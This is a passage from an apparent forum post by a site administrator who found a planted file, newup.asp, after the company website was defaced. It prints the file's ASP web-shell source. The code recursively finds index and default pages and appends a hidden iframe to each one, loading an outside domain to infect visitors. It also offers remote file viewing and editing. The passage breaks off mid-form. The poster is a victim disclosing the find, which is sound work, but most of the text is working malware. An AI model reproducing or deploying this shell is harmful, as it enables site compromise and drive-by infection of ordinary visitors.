公司网站内容被撰改，开始怀疑是 SQL驻入，但是刚把网站文件一搜索。汗！
里面目录下有个
\aspnet_client\system_web\1_0_2914_16\newup.asp
打开一看：好毒啊！不知道是谁放进来！！
<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title> By S.D.I-E路 </title>
S.D.I--核心专用 shell
</head>
<body>
<%
ASP_SELF=Request.ServerVariables( "PATH_INFO ")
s=Request( "fd ")
ex=Request( "ex ")
pth=Request( "pth ")
newcnt=Request( "newcnt ")
If ex <> " " AND pth <> " " Then
select Case ex
Case "edit "
CALL file_show(pth)
Case "save "
CALL file_save(pth)
End select
Else
%>
<form action= " <%=ASP_SELF%> " method= "POST ">
输入要挂马的路径:
<input type= "text " name= "fd " size= "40 ">
<input type= "submit " value= "开始 ">
</form>
<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function
If IsPattern( "[^ab]{1}:{1}(\\|\/) ",s) Then
sch s
Else
If s <> " " Then Response.Write "Invalid Agrument! "
End If
Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject( "Scripting.FileSystemObject ")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count <> 0 Then
For Each l In sf
sch l
Next
End If
End Sub
Sub step_all(agr)
retVal=IsPattern( "(\\|\/)(default|index)\.(htm|html|asp|php)\b ",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
<a href= " <%=ASP_SELF%> ?ex=edit&pth= <%=str1%> " target= "_blank "> <%=str1%> </a> <br>
<%End Sub%>
<%
Sub step2(str2)
addcode= " <iframe src=http://www.00sj.com width=0 height=0 frameborder=0> </iframe> "
Set fs=Server.createObject( "Scripting.FileSystemObject ")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.createObject( "Scripting.FileSystemObject ")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
<form action= " <%=ASP_SELF%> " method= "POST ">